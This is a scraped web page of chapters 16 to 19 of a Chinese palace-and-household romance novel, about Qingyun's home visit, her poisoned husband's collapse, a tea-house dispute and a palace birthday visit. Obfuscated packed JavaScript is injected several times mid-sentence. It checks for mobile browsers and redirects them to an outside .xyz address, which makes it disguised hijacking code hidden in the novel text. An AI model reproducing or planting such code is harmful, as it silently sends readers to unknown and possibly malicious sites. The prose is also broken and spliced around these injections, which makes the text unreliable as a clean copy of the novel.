;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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事实上,秦夫人洞若观火,怎么可能有此吩咐。王令嘉主动请缨来给表姐送饭,王宗赫则在途中截胡,用几句话便轻松把人引走。 不过他此来也不是为做什么不合时宜的事,仅是递去食盒,再从袖中掏出一方玉印,“之前你说私印有损,我重新刻了一枚。本应在成亲前给你,但当时落在国子监,昨日才取回。” 王宗赫有手刻印的好功夫,清蕴之前在店铺用的私印就是他所刻,兄妹间赠这样的礼,看起来也很寻常。 清蕴静默了下,弯唇道:“多谢三哥,那我就却之不恭了。” 说完这两句,好像就无话可说了般,齐齐无声。 清蕴没有打开食盒,王宗赫也没催促她,兄妹二人视线分别落在石桌和庭院的草木,不曾交汇。 少倾,王宗赫站起身,喉结微微滚动,“我去看书,稍后便不送你们了。” “好。” 走出院门时,王宗赫刚巧和李秉真擦肩而过,各自颔首示意。 在他身后,藉香的视线忍不住跟随而去。 夫人和这位王家公子在院中对坐时,世子就站在廊下静看着,神色没有任何异样。 但他不懂世子为何不直接走进去,是不想打扰夫人和兄长叙旧吗? 16.第十六章 “和外祖父赏画,赏得如何?” 清蕴这话多少带了几分调侃,王贞爱画成痴,有心仪的画在身边时根本就不愿理会他人。李秉真起初还能和这位长辈说几句话,很快就发现他已经完全沉浸其中,外物根本打扰不了。 更多时候,只能在旁边默默等待,画技没讨教到几分,王贞书房里的陈设倒能如数家珍了。 面对自家夫人的小小取笑,他回了句“受益匪浅”,然后问:“休息得如何?” “休息得很好,世子也带了饭菜?” 李秉真摇头,打开盖子,里面是碗热乎乎的小汤圆,“你清晨没用多少东西,午饭也未按时吃,脾胃正值虚弱,吃些易于克化的汤食比较好。” 连这点细节都考虑到了,清蕴不得不承认他细致入微,便拾起筷子用了那碗小汤圆,另一盒则给白芷她们解决。 耐心等待着,看清蕴开始喝水漱口,李秉真才道:“时辰差不多了,待会儿一起去拜别长辈,归家去罢。” 出嫁女回门就是如此,按规矩在娘家只能待一天,入夜前就得回新家,不得过夜。清蕴早做好准备,起身和他去和家人告别。 来时带了满车礼,离开也没有空手而归。秦夫人不想委屈她分毫,又从私库给清蕴添了好些绸缎首饰,无论如何都推拒不了。 临出门前,秦夫人招呼清蕴到一旁说话,起初还以为是有什么要事,结果听到的竟是一句语重心长的“节制方能长久”。 知道他们误会了,饶是清蕴也微红了脸,碍于不便解释,只能矜持点点头,权作回答,在家人的目送中登上马车。 “夫人在家中很受喜爱。”李秉真道。 连最小的兴哥儿都踉跄着脚步喊“姐姐”,更别提其他人。 “是长辈们爱护。”清蕴道,“家中姊妹和兄弟也好相处。” 这是谦辞,李秉真很明白。成婚两日,他就充分感受到了自己这位夫人多么容易惹人喜爱,但凡她想,恐怕无论男女老少都逃不过。 所以在看到王宗赫的眼神时,他几乎立刻看出了对方心思,但并不准备拿这个诘问清蕴。 以她的出色,有几个爱慕者实属正常。 没再说什么,李秉真握了握清蕴指尖。 接下来的归程,俩人没怎么开口,皆是闭目养神。 清蕴本以为他是此行疲惫,但直到马车停了会儿,他仍没有动作,顿时意识到什么。 “……少思?”她抬手轻触他的额头,惊觉滚烫无比,气息亦是沉重。 勉强支起眼皮,李秉真低咳两声,“让藉香扶我回月舍,不要惊动其他人。” 然后再也没忍住,吐出一口血来。 ** 除去因外力受伤,清蕴很少生病,无论极其年幼的时候,还是到了王家以后。大概因为她总能照顾好自己,迅速分辨怎么做才能对自己有利。即便在最艰难的时刻,她也只因为在野外露宿着凉,发了场高烧。 再后来,就是因郑氏掌家时故意苛待她,而“不小心”染了场风寒。 风寒客于人,使人毫毛毕直,皮肤闭而为热。这种病症可大可小,可急可缓,清蕴当时算是急症,头痛脚轻、冷热交替,几度要昏厥过去,吓得秦夫人直接进宫请来太医。 因此事,秦夫人当着阖府的面把郑氏劈头盖脸骂了顿,叫这位大舅母再不敢在吃穿的小事上为难她。 当时身体的痛苦仍记忆犹新,可比起李秉真此刻的状况,竟是远远不如。 从国公府大门到月舍的功夫,他已经双目紧闭、汗如雨下,面色堪比金纸,看起来极其虚弱。 即使如此,他依然保持一丝清醒,慢慢吐出几个字,“藉香,去书房。” 无来由中,清蕴感觉他是怕吓着自己才有此吩咐,直接拦住藉香,“那里休息不方便,回内寝。” 她的态度也很坚决,根本不是在和他们商量。想起主子对夫人的态度,藉香无需过多思考,就顺从了清蕴的脚步。 月舍院门被砰得一声推开,惊来所有人。 藏翠和春夏秋冬四女都久经历练,一见他们这副模样就知道发生了什么,连忙去烧水、拿药、找大夫。白兰白芷也没闲着,一人听从清蕴吩咐去主院传话,另一个则迅速帮清蕴换上干净衣裳。 好在大长公主今晚出门赴宴去了,不至于惊动到她。齐国公那儿只要得了信,也不会突发奇想来打搅儿子儿媳相处。 其实早在嫁给李秉真前,清蕴就预想过类似的情况,毕竟关于他身体的传闻太多,夸张者说不久于人世,其他的,什么不良于行、缠绵病榻都有。 也许是婚后这几天他表现得太像个无病无痛的普通人,以至于她差点忘了这些。 不知何时,清蕴终于回过了神,她发现自己手心居然在渗着寒意。 大夫一刻钟的功夫就到了,据说是位屡次被太医院招揽而不受的民间圣手,名张颖,人称张神医。 张颖本来神色平静,进门后看见李秉真状态脸直接一黑,取出随身携带的金针,飞速扎进了几处穴道。随着深红中隐带黑色的血液流出,几近昏迷的人闷哼两声,像是恢复了些许意识,方冷冷出声,“我辛辛苦苦和阎王抢人十几载,不是让你们世子爷这么挥霍的。金银两丸相辅相成,必须同时服用,总仗着有要紧事就只服金丸提精力,上上次是要参加科举,上次是要进宫赴宴,这次又是什么?” 藏翠小声提醒,“世子刚刚成婚。” 张颖愣了下,他确实忘了这一茬。随后才注意到身侧站了位极其貌美的少女,挽作妇人发髻,想来正是世子的新婚夫人,与他视线相接时微微颔首,看起来温婉沉静。 他不见尴尬,继续手中动作,“既如此,也该提前和我说声,好做些准备。” 边说着,边挥手让其他人退下,定定看向清蕴,言语没有半点停顿,“世子夫人,容我冒昧问一句,你们还未圆房罢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730645|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清蕴虽有诧异,还是嗯了声。 张颖明显松了口气,“好在他还有分寸,如果做了不该做的事,恐怕你刚嫁过来,就要守寡了。” 言下之意,李秉真目前的身体似乎根本无法支撑圆房这件事。 考虑到二人新婚,他又难得解释,“仅是暂时,这段时间在用新药,关键时候不能泄了精元,容易功亏一篑。” 他是大夫,说起这个话题当然没什么不好意思。让他意外的是,这位世子夫人也很冷静,不仅没有丝毫羞涩,还很快抓住要点,“世子这次没按要求服药,会影响新药效果吗?” “会。”张颖从来实话实说,“但有我在,问题不大。” 清蕴终于流露一丝笑容,“那就有劳您了。” 张颖忍不住又瞧她一眼,大约是觉得她表现可靠,开始毫不客气地使唤她,诸如取针、擦拭、喂药这类的小事都让她做了,自己则去桌旁笔走龙蛇写出两张药方,唤来外面的人,“依然是一张解毒,一张治病,早晚各一剂,必须要隔四个时辰以上,不能混喝。” 解毒的字眼飘到清蕴耳中,让她心有所感,下意识看过去。 藏翠藉香二人本来在不住点头,一察觉她的目光,身体突然僵住,眼神开始闪烁,随后都当做没看见,默默扭过头。 他们实在不会隐藏心事,就算清蕴没仔细听大夫的话,一看两人神色,也能发现蹊跷。 可眼下不是追问的好时机。 张颖没注意他们的眉眼官司,他从来只负责治病,不看人脸色,说话也全凭自己心意。按他的说法,这场病很不应该,病人昏迷着教训不了,干脆把炮火转向了藏翠和藉香二人。 就在两人被骂得垂头丧气之际,李秉真眼皮微动,醒了过来。 他的脸色远比光明寺那日伪装时苍白,四肢冰凉,唯独一双眼仿佛含了温度,甫一睁开,便带着让人安心的感觉。 “世子——”藏翠惊喜出声,猛得跨步上前,险些没把张颖挤一个趔趄,叫他没好气道,“一惊一乍的做什么,我来了,人醒不是迟早的事么!” “……喔。”藏翠耷拉着脑袋。 慢慢恢复清明的李秉真看见他们,逐渐想起发生了何事,先扫视了圈,见清蕴安稳站在床侧,下意识露出安抚的笑。 “原来世子还笑得出来。”张颖怪声怪气,“看来鬼门关那边有好事发生啊。” 李秉真:“……” 知道这位神医的性子,他立刻表现出诚恳认错的态度,“张大夫,怪我忘记知会你一声。” “经不起世子这声唤,我的话都没人听,算什么大夫——”张颖凉飕飕道,“只是可怜你的小夫人,刚嫁过来就发现夫君是个随时要咽气的病死鬼,哭得梨花带雨好不可怜。我看呐,你这夫君任性得很,反正也不听话,迟早要没救,还是早日改嫁罢!” 清蕴:“……” 这位张神医,医术了得,脾气更是了得。 17.第十七章 清蕴独坐在杌子上,望着手中香茶升腾起的袅袅轻雾,目带沉思。 她没有梳妆,在炭盆的热意下仅着了件水青袄衫,面上未施脂粉,相较起来比白日成熟稳重的形象多了分青涩。 而她的思绪不在这杯茶,飘到了张大夫说的“解毒”二字上面。 和大多数人一样,她一直以为李秉真是时运不济、生来多病。 他得到的太多,权势、富贵、相貌、才智,许多人终其一生都在追逐的目标,作为齐国公和镇国大长公主之子,他却不费吹灰之力就拥有了一切。有人就会想,上天给他降下一些磨难也是应该的。 但从张大夫流露的意思来看,他这从来就不是单纯的病,是病和毒。 如果真和后者有关,就让人不得不想起彭掌柜说过的话——早年间,齐国公后宅曾有两位“主母”。 除去后宅争斗,好像没有另一种更符合常理的原因能解释。 清蕴无意探究齐国公府密辛,但她如今已经是世子夫人,这事看起来又和李秉真息息相关,如果她完全不知情,日后相处中很可能会触犯到一些该避忌的人和事。 她不喜欢这种懵懂无知的感觉。 “夫人。”白兰唤她,“世子醒了。” 时隔一天一夜,李秉真总算醒来,这段时间除去喝药,他几乎都在昏睡。期间大长公主派人来问过话,被清蕴以夫妻二人在休息的借口打发走了。再久些的话,恐怕那边就会发现。 踏入内寝,李秉真刚喝完药,其他人在收拾药碗,帮他擦拭手掌。他的药多而杂,既有煎煮的药汤,也有干巴巴的药丸,必要时还得辅以药浴。这些药有个共同之处,就是气味都极苦,最小的那枚药丸闻起来也是极其刺鼻,几乎只能闭着眼睛服入。 李秉真好像习惯了这些,他的脸上没有任何表情,冷淡至极,好似高居九重天的神祇,身边来来回回那么多忙碌的人,一个都没能落入眼底。 清蕴发现,这样的他和当日光明寺伪装出的模样很相似。在这种时候,与其说那日是伪装,不如说温文尔雅的表象更像一层“面具”。 其实久病之人历经诸多痛苦,想要和常人心境如一,几乎是不可能的。清蕴身边没有这样的人,起初以为李秉真是意外,可从他独处时的状态,以及孤峭寂冷的字迹来看,他只是比其他人更会隐藏。 烛光中显现出清蕴身影,神祇倏然落入凡间,笑意慢慢浮现,“清蕴。” “世子这一觉,睡得可比我长多了。”清蕴轻声说着,让李秉真不由露出歉意的神色,“我知道会虚弱一阵,本想待在书房中度过,没想到来得这么突然。” 他是想避开她的,清蕴对此心知肚明,没评价什么,接过白兰递来的粥。 这碗由粳米、山药、郁李仁、柏子仁等物熬制而成药粥,作用是润肺养神,正适合此时的李秉真。 两人都没任何扭捏,一个喂得顺手,一个吃得也很坦然。 也就是这时候,清蕴发现他的眼睫格外长,不似她的天然含有卷翘,而是直接下垂。当他低首,眼睑下那道浓浓阴影,几乎能遮挡住所有心事。 还剩最后几口粥时,清蕴依张颖临走前的吩咐,取出黑白瓷瓶,“一枚解毒,一枚治病,必须随饭食服用,世子要先用哪颗?” 李秉真沉默,须臾选了前者,清蕴就从中倒出一刻圆润的黑色药丸。他伸手来取,微凉指尖触碰到掌心的刹那,两人神色都微微动了下。 夫人的聪慧,在李秉真这儿实在无需赘述。他最初深受吸引的,也正是她这份看穿世事的透彻和直面内心的坦然。在意识到自己成为她的夫君是因她选中,而非两家长辈商定后,李秉真就知道,有些事无法瞒她,也不应瞒她太久。 更别说她这句等同于明示的话。 服了药,等女使们接连出房,仅剩二人相对而坐时,李秉真开口,“我沉疴在身,既是病,也是因毒。” 清蕴给两人各倒杯水,做出认真倾听模样。 在李秉真的讲述中,时间追溯了许久,直到他尚未出世,父母刚刚成婚之际。 齐国公早年有一位通房,仅这一位,是太夫人买来养在膝下、看着长大的姑娘。太夫人与她情同母女,齐国公与她也有青梅竹马兼兄妹之谊。在齐国公还未成婚前,这姑娘与其说是通房,称为半个女主人更合适。 可想而知,她在曾经的侯府、如今的齐国公府拥有多大权力。 齐国公喜爱她,但也有男人们共通的想法,认为她出身太低,不可为正妻。 尚大长公主当然是意外,可齐国公与这位殿下有袍泽之情,大长公主亦生得明媚美丽,他被选中了,没有任何理由拒绝。 起初,二女相安无事。大长公主出身尊贵,性傲且不拘小节,根本不屑和成婚前的一个小小通房计较,即便此女被收作姨娘,也全然无所谓。她作为大长公主兼将军,有自己的府邸和俸禄,管家权也不放在眼中,齐国公由此得享齐人之福。 但人之所以不可控,正是因为其思想会变化,野心会随之增长。齐国公母子的放纵、大长公主倨傲下的忽视,让这位姨娘滋生了勃发的欲望,尤其是在大长公主诞下一女后迟迟无子的情形,让她筹谋甚多。 所以,在大长公主再次有孕,自己也恰好有了身孕。她急于给自己儿子开路,竟铤而走险,借府中不曾防备,在大长公主临盆前给她下了奇毒。 毒一种下便有大半到了胎儿体内,导致李秉真生来极为虚弱,几度病危。齐国公夫妇还以为是大长公主早年在战场受伤所致,小心翼翼呵护几年,竟无意中得知是姨娘暗中下毒所致。 当时情形如何,李秉真不可能知道。从他有记忆开始,父母二人就好比仇敌,让他整日活在无止尽的争吵和叱骂当中。伴随着身体的病痛,他一度认为,自己是造成这些境况的罪魁祸首。 直到他七岁那年,大长公主忽然大步走来,说要带他离开国公府,当时她裙裾染血,浑身是说不出的畅意。事后李秉真才知,她亲手斩杀了那位姨娘,并准备休夫。 当然,从现在的结果看,休夫定没休成,此事到底怎么解决的也只有几位长辈清楚。 反正齐国公后宅从此没了姨娘,她留下的一子李审言,最初由太夫人养育,待他到十岁后就独住了一个院子。对待这两位孙子,太夫人明面上都比较淡,以年事高的由头,早就不参与家中诸事。 李秉真道:“母亲不喜李审言,他到卫所任职后也甚少回家。” 准确来说,是齐国公府几乎没问过李审言的任何事,连他当初跟去战场,都是有人禀报,夫妻俩才知道他竟混入了平乱大军。 清蕴听罢若有所思地静了许久,齐国公府这桩往事确实有些出乎意料。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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考虑到齐国公府和自身的种种境况,她一度认为,即便最差的结果,也是利大于弊。 但此刻她隐约看出,李秉真并非只是身体有问题,他自身亦没有什么生的欲望。许是厌恶了这满是痛苦的身躯,许是对世上的一切没有眷恋,又或许是其他原因。 “少思。” “嗯?” “惟愿真心相许,一年胜百年。在和你成婚前,我的确这么认为。”清蕴道,“但其实有时贪心些,也未尝不可。” “你认为呢?” 对上那明净柔和的目光,李秉真感觉自己的心弦,被轻轻拨动了一下。 对解毒、续命这件事,他一直没什么执念。某种程度来说,他是生而知之者,在父母以为他依旧懵懂的时候,他已经能够记住,并且逐渐弄懂他们争吵的缘由。 齐国公和大长公主在战场上是能够运筹帷幄、决胜千里的将军,但在内闱中,在夫妻、儿女之间,却都像牙牙学语、踉跄行走的孩童,隐瞒、误会、疑虑,让他们的关系如同悬丝走线,一度到了岌岌可危的地步。 事情因李秉真而起,但他知道症结不在自己,也没想过设法挽救。父母是分是合,对他而言没区别,甚至自己是死是活,他都不是很在意。 这些冷漠到不正常的想法,李秉真从没对人表露过。 没想到他这位年少许多的新婚夫人似乎很快就有所察觉。 临睡前,他的目光停留在身侧,许久后,抬手灭灯。 18.第十八章 休养三四日,李秉真乱服药的后遗症好了许多,能够行走自如,也能在长辈那儿偶尔露个面,叫他们安心。 大长公主对清蕴这个儿媳有第一面的好印象,再加上法显禅师的批语,很放心她和儿子相处。藏翠笑言,说殿下知道如今有了可以管束世子的人,终于不再一日三问了。 话有些夸张,足以说明国公府对李秉真是何等小心。 日子就这样消磨着,李秉真十日的婚假即将告罄,再过一天,他就该去翰林院上值了。 清蕴有些好奇,“世子在翰林院做什么?” “修书、研习佛学、作画,偶尔陪陛下讲书听经。” 听起来悠闲,不过仅对李秉真如此。翰林院学士可陪侍御驾,身处其中者无不铆足心思讨建帝欢心,恨不能即刻得天子赏识,去其他地方大展身手,尤其是众多官员所向往的六部。 正所谓“非进士不入翰林,非翰林不入内阁”,内阁阁老中,又多为六部要员。柳文宗为内阁首辅,担任的就是吏部尚书一职。齐国公未入内阁,但他曾经的麾下将领弃武从文,进朝堂后晋升飞速,现今任兵部尚书,为内阁次辅。 李秉真进翰林院不为前程,所有人都觉得以他的身体,入仕纯粹是打发时间。不至于烦闷无趣,也不至于劳累危险。 至于建帝曾夸他有“治世之才”,他本人又是不是这么想,就仁者见仁智者见智了。 清蕴听了这句话,不免揶揄:“那世子去当值,岂不如同闲庭漫步,舒适无比?” 李秉真假作认真思考了下,回她,“似乎的确如此。” 两人齐笑,商议了下,准备去郊外的庄子逛逛,顺便钓些肥美鲈鱼,享受这最后一天假期。但计划赶不上变化,刚整理好一应物什,外面传消息,说是一名姓彭的掌柜求见世子夫人。 成婚前,清蕴就对彭掌柜说过,有要事可以直接来国公府寻她,以前在王家就是这么嘱咐的。 彭掌柜处事老练,遇事大都可以自行处理,去王家找她的次数屈指可数,没想到刚来了国公府店铺就疑似发生变故。 知会过李秉真,清蕴在一处小花厅和彭掌柜见面。 “夫人——”彭掌柜称呼改得极为迅速,见面先连声道歉,表示若非要事绝不会在她新婚时打搅,但这件事已经放了段时日,再拖下去,恐会酿成祸患。 “嗯,说罢。” 彭掌柜说了两件事,一为茶楼最受欢迎的“龙井茶饼”食方被楼中跑堂所窃,卖给了对家“香影社”。他查出跑堂后仔细审问,发现此人是因家中祖母病危缺银子买药,恰巧香影社以利相诱,就铤而走险偷窃食方。 二为除夕前夜有人到茶楼闹事,说茶楼后厨早就蛇虫鼠蚁为患,从茶汤里面捞出滑虫尸体,又从点心里吃出老鼠尾巴,吓得客人连连呕吐,扬言要把茶楼告上官府。这件事当场就解决了,因为茶楼跑堂看出他随身藏了虫罐,罐中装的正是他“吃”出的那些虫子。跑堂身手好,在那人要逃跑时,猛地举起桌椅把人砸倒,再和茶楼掌柜一起把人扭送去了官府。 事情的麻烦就在这里,那人去之前本来承认所作所为,一到官府就变了面孔,痛诉他们用私刑逼供,自己才不得已承认。官府的人一时分辨不出对错,先把人放了回去,派人查案,查着查着,情况对茶楼竟愈发不利。 彭掌柜暗中打探,才知道此人是柳阁老府上严管家的亲侄,自己也经营着一家茶舍,看这儿生意好便来捣乱,没成想被那一砸砸瘸了腿,怀恨在心,不肯用钱私了,非要茶楼开不下去才罢休。 任彭掌柜手眼通天,对上柳阁老这等参天巨物也没有办法,只能求助于背后的东家。 清蕴沉吟,用了会儿理清思绪,“严管家可有出面?” “不曾。”彭掌柜道,“但官府那边断案有倾向,恐怕暗地已经疏通过关系。” 能用银子解决的都不是事,关键还是在于背后的人。官府当这茶楼普普通通,没有势力倚仗,哪肯帮他们消灾,送钱也是白送。 如果清蕴出面,这官司当然不成问题,可要她为这种小事做主,未免有失身份。更关键的是,朝堂间利益关系复杂,彭掌柜不确定是否会因此和柳阁老那边结仇,给东家带来不便。 没有立刻表明态度,清蕴视线转到了角落站立许久的少年身上,隐约想到什么,“彭掌柜说的这两件事,不会都是同一人所为罢?” “夫人洞若观火。”彭掌柜苦笑,示意少年上前,“正是如此,他叫阿飞,点心方子是他所偷,人也是他所砸,我都不知该说他戴罪立功,还是错上加错。本来打算让他直接离开,阿飞一定要来听夫人的看法,看在您和他有过一面之缘的份上,我就斗胆带来了。” “为维护茶楼而不小心伤了人,当然算不上错。在这之前,谁也不知道抓个闹事的闲人会惹出大麻烦。” 此话一出,少年无精打采的双目立刻亮了起来,充满希冀。 清蕴记得他,当初他来茶楼谋生计,掌柜看他个头太小不愿要,而她见此人颇为机灵,生得也有些讨喜,便破例要下他。当时阿飞激动非常,直接跪地磕头,给她留下深刻印象。 “不过——”清蕴话锋直转,“一码归一码,你为茶楼澄清误会,我很感激,本该给酬谢,可你偷了茶饼食方,损失远超那点误会。何况,你今日能够因祖母生病被对家诱惑,来日就能因其他事被人利用。一次不忠,百次不用。这个道理,彭掌柜应该和你说过,没有送你去官府,已经是我们仁慈。” “可是……”阿飞急急想要辩解,被清蕴打断,“家中有急,为何不告诉茶楼掌柜,或者彭掌柜?” 阿飞撇嘴,想说却不敢说。在他心中,茶楼里能够帮自己的善人只有一个,那就是面前的东家。无论茶楼的尹掌柜,还是这个彭掌柜,都是利欲熏心的生意人,常挂在嘴边的话都是“做生意不是开善堂”。听多了,当然知道他们不会帮自己。 面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她没理会阿飞想凭此留下的想法,继续摆手让白芷带人离开,并私下吩咐,着人暗中观察他一段时日。 彭掌柜毫不意外她的决定,给主子做事,重要的从来不是对错,而是忠心。阿飞在这件事上二者都不占,夫人绝不可能留他。 “严管家那儿,夫人准备如何?” “他毕竟是柳府管家,暂时不要接触。”清蕴道,“官府那儿我会派人去说,让他们按事实判,可以赔一些银子,但不能让对面占理。” 彭掌柜点头,“我也觉着该是这样。” 他很识趣,丝毫没问信封和印章,和清蕴口头上把紧急的事了结了,就告退离去。 这场见面没超过半个时辰,天色依旧很早,清蕴在厅中把那封信又看了遍才回月舍。 算起来应该还有时间去郊外,结果刚看见李秉身影,就听他说,“母亲刚刚着人传话,说今年陛下特准府中众人进宫给贵妃庆生,就在明日。” 19.第十九章 李贵妃身处尊位,为人却很低调,每年生辰都是在自己宫中摆小宴,邀几个嫔妃聚会就作罢,今年也是这个打算。 建帝想一出是一出,刚冒出的主意,转头就让司礼监传话,顿时让国公府忙碌起来。 清蕴初次进宫,趁女使们备礼的当口,请教李秉真关于宫中行走的忌讳,话题由此延伸,提起建帝后宫。 建帝登基十年,后宫只有二三十嫔妃、两位小公主和一位皇子,称不上热闹。 李贵妃经历的后宫倾轧之事也很少,基本不用担心。 造成这种局面有多重原因,主要有两个。 建帝及冠当年承嗣,在那之前还没娶妻,子嗣也无从谈起。他在潜邸时,本有位先皇后定下的太子妃,可惜天妒红颜,此女在成婚前三月病逝,紧接着建帝即位,时间匆促,便没再选正妻。 此事一拖再拖,后位始终空悬。 再则是,建帝登基的前五年,朝堂内忧外患交加,他忙于国事,根本无暇顾及后宫,三年一次的大选也改了规矩,变成五年一选。 先帝驾崩前,朝内已经天灾频繁,流民起义四起,朝外跶虏倭寇侵扰,烦不胜烦。 当时蒙古部落统一,势力空前强大,想趁建朝政事交接混乱之际偷袭大同,被得知消息的建帝亲自领兵击退。战事持续数年,胡虏一度南下,和倭寇一起侵袭江浙等地。这事说起来,连清蕴都有印象。 建帝调兵遣将,先镇起义再压倭寇,蒙古那儿则以互通贡市为策,和他们达成息战协议,建朝得以休养生息。 经此种种,所有人都认为新君雄才大略,有明君相。谁能料到,才几年的功夫,他行事就越发随心所欲、难以捉摸了。不仅在朝堂上有意分权,平时也会突然干出一件震惊朝野的荒唐事。 当然,后面这些不是李秉真所言,而是清蕴根据见闻推测。 “祖母身体不便,那我明日就和母亲、郡主一起进宫,你和父亲则在下值后同往承乾宫?” 李秉真建议,“你那两位女使行事都很沉稳,但明天最好带上春分,她曾随我进宫,认得些人。” 清蕴采纳了他的提议,提前嘱咐过春分,翌日一早便去厅中等待大长公主。 李贵妃信佛,不喜奢靡,她就选了自己调制的一味香作生辰礼,叫北苑名芳。此香最适合寒冬,燃起来有股幽兰之韵。除此之外,还备了味道相似的香膏。 准备礼物时,清蕴只在手上过了一遍,没想到大长公主嗅觉出奇灵敏,刚上马车就看着她,“擦的什么?好香。” “我没有用香,母亲闻到的,应是给娘娘备的礼物。” 说完把北苑名芳和香膏都取出示看,大长公主瞧了两眼,直夸她制香手艺好,匠心独特,比一些香道师的成品更出色。 “听说母亲好酒,我曾调制过一种醒醉香,放在枕中能够缓解宿醉不适。如若母亲不嫌弃,今晚我就让人送去。” 大长公主闻言大喜,“这正适合我。还有吗?给你父亲也备一份。” “当然。” 这个小插曲引得大长公主颇有聊兴,干脆坐到清蕴身旁和她说起话来。 偌大香车,乘坐的不只她们二人,还有偎在大长公主身侧的李琪瑛。 大概没几个女孩儿对香料不感兴趣,李琪瑛爱熏香,贴身女使中就有擅长制香者,听起来比清蕴依旧差了一层。 不过她内心感兴趣,面上丝毫没显露,从头到尾都做出傲慢模样,甚至几度想岔开话题冷落清蕴,全被大长公主四两拨千斤地带过。 李琪瑛气极,她至今还没在心中认可这个大嫂,本打算进宫路上拉着娘亲不搭理人,让陆清蕴独自尴尬,没想到转眼坐冷板凳的成了她。 默默生了一路闷气,刚踏进宫门,她就头也不回地走在最前,急匆匆走向承乾宫。 大长公主对此只笑笑,不紧不慢地带着清蕴在宫廷中行走,偶尔和她说些见闻。 两人踏进承乾宫时,李琪瑛正赖在长姐怀中撒娇,似乎在诉说什么,脸上满是忿忿之色。李贵妃满眼无奈,一直让她坐好,见到大长公主身影,终于松了口气。 “母亲,快哄哄永平罢。” 伸手揽过小女儿,大长公主亲昵点她额头,“谁也没你小气,和你嫂嫂多说几句话而已,都是一家人,真不知哪来的气性。” 李琪瑛哼一声不说话,别过头去。 大长公主同她坐到一块儿,难得拿出耐心哄人。 “叫你看笑话了。”李贵妃朝清蕴歉意道,“永平孩子心性,到现在也没长大。她没有坏心,逞逞嘴上威风罢了。” 可她这话,连春分都不敢认同。 在国公府待了那么久,春分不止一次看到郡主因不高兴而把仆从抽得满地求饶,如果说这是没有坏心,恐怕那些纨绔子弟个个都算善良。 春分作为奴仆不敢议论主家,清蕴则是不可能当着李家人的面否认李琪瑛。 “弟妹,我便唤你清蕴了,可好?” “娘娘随性即可。”清蕴奉上香料香膏,“我向国公府的老人取经,听她们说,您闺中喜爱调香。恰好我随人学过些制香的手艺,今日便斗胆取了这北苑名芳来,请娘娘指点,还望您不要笑我班门弄斧。” “怎会,我手艺平平,你这才是大家。”李贵妃照例谦虚了下,她对清蕴很有好感,当场试用香膏,果真点评了几句,传授她自己制香的妙法。聊到投机处,又着人取出一支鲤鱼戏珠式样的金钗,“你们成婚当日,都没来得及去新房看一看你,好在今天不算晚。这枚金钗是御用监年前奉上来的,我很喜欢这式样,可惜戴上去不宜,瞧着应该与你相配,来试试。” “多谢娘娘。”清蕴说着,直接微微低身,像是方便人簪发,极其自然的态度让李贵妃一怔,会意地把金钗插上,笑道,“果然极衬你,美极了。” “也是娘娘眼光好。” 二人相视一笑,李贵妃心中更添亲近,觉得这个弟媳与自己很合得来。 相处融洽间,哄好女儿的大长公主走来,“今日是什么打算?” 她扫了圈承乾宫,发现外面大有不同,疑似搭了个台子,“排了戏?” “是陛下昨夜着人搭建,并非戏台。”李贵妃摇头,“只说为我们准备的,具体如何,也没透露过。” 陛下循规蹈矩时,她都没能摸透他的想法,如今就更不可能了。 “到时候就知道了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770319|156685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”李琪瑛脆声道,“陛下爱重姐姐,定是惊喜,急什么。” 她倒很会为建帝说话。 大长公主觉得也是,看时辰尚早,先坐下吃茶聊天。 女孩儿,或者说女人们聚在一起,可谈的事情非常多。大长公主没有领武将职位,但经常随齐国公一同处理军务,朝堂上下的情况都清楚。 李贵妃打理内务在行,对朝政也能说出一二见解。母女俩聊的内容从建帝嫔妃到诸位大臣后宅,再到如今齐、柳两家的水火之势。 朝堂上看似三足鼎立,实则是两方对垒。司礼监只忠于帝王,做的是传天子谕、代行天子事的活儿,对他们的争斗一向冷眼旁观,偶尔出面和稀泥。 李贵妃听说了这阵子前朝的事,轻声说:“母亲,朝堂六部本就是为陛下效劳,你们让孟叔牢牢把控兵部,连一个武库的位置都不放,说不定连陛下的人也被拒之门外。长此以往,是否不妥?” “吏部不也全是柳老头的门生么?”大长公主摆手,“且你想岔了,这些人只在我们双方之间分亲疏,对上陛下,都是忠心耿耿的纯臣。” 纯臣,私下分派系的纯臣吗? 李贵妃沉默,不知如何劝谏。 母亲身为陛下姑母,至今仍把陛下当小辈看待,疼爱有余,敬重不足。她不知陛下内心是否有过不悦,但平心而论,换作自己,她会觉得母亲太不知分寸。 